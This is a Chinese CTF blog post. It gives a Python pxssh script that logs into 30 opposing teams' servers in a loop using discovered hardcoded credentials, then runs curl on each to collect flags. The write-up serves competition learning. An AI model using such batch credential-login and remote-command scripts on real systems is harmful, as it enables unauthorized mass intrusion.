利用Python实现批量自动化SSH登陆并执行命令后获取数据

前言

放假前辽宁省为了应景“网络安全宣传周”举办了一场安恒杯,初赛依靠大佬们的出色发挥进了决赛,奈何pwn大佬实习出差不能赶回来,我们两个Web只要赶鸭子上架,2 VS 3
不过幸运的是最终获取了二等奖,遗憾的是离最终大奖只差一步一摇…

而能够获取这二等奖的原因,也是因为在最后一轮我发现了一个隐藏的用户名和密码,猜到了密码,就可以随意登陆别的队的服务器,然后执行curl命令来获取flag,但是当时
不会写登陆ssh的脚本,导致我们两个手动连接30台服务器,累的要死。之后特意来学习一下

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

from pexpect import pxssh

#host = ''
username = 'dbappp'
password = 'dbapp2018'
#port =

for i in range(0,30):
try:
host = "10.50."+str(i)+".2"
s = pxssh.pxssh()
s.login(host, username, password)
s.sendline('curl 10.0.1.2')
s.prompt()
result = str(s.before, encoding='utf-8').split('\r\n')
print('Team'+str(i)+':')
print(result[1])
s.logout()
except:
print("pxssh failed on login.")

首先需要用到python的库pexpect,直接pip3 install pexpect安装即可。

首先pxssh.pxssh()进行初始化,然后直接s.login()登陆即可,这里默认是登陆22端口的,如果需要指定端口,则需要在login函数中指定port参数
之后如果用户名密码正确的话,就登陆成功了,再然后使用s.sendline()就可以在服务器上执行命令了,而s.prompt()用来获取前后两个服务器登陆的标志,类似这样

其中#井号就是这个标志,这个主要是用来获取两个井号之前的内容,然后利用s.before输出出来,但是我发现这样的话也会将我们输入的命令也获取到,因此我再这里进行了一些
处理,就能够获取到flag了。

最后再来一波循环,批量登陆别的队伍的服务器然后获取flag。

本文标题:利用Python实现批量自动化SSH登陆并执行命令后获取数据

文章作者:Pino-HD

发布时间:2018年09月25日 - 10:09

最后更新:2018年10月17日 - 17:10

原始链接:https://pino-hd.github.io/2018/09/25/利用Python实现批量自动化SSH登陆并执行命令后获取数据/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!